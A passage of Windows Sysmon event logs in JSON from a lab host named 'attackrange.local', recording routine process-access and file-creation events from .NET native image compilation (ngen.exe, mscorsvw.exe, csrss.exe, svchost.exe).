12:00:03.853","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010D18E0900}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.853\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010D18E0900}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.853","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010D18E0900}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010D18E0900}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010D18E0900}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.947\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010FB910900}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010FB910900}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010FB910900}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010FB910900}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:03.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4243-5F2D-0000-0010FB910900}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:03.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4243-5F2D-0000-0010FB910900}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:05.072\r\nProcessGuid: {90617006-4243-5F2D-0000-0010FB910900}\r\nProcessId: 3632\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e30-0\\System.Drawing.dll\r\nCreationUtcTime: 2020-08-07 12:00:05.072","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:05.072","ProcessGuid":"{90617006-4243-5F2D-0000-0010FB910900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\e30-0\\System.Drawing.dll","CreationUtcTime":"2020-08-07 12:00:05.072","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010C0950900}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:05.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010C0950900}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010C0950900}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:05.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010C0950900}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010C0950900}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 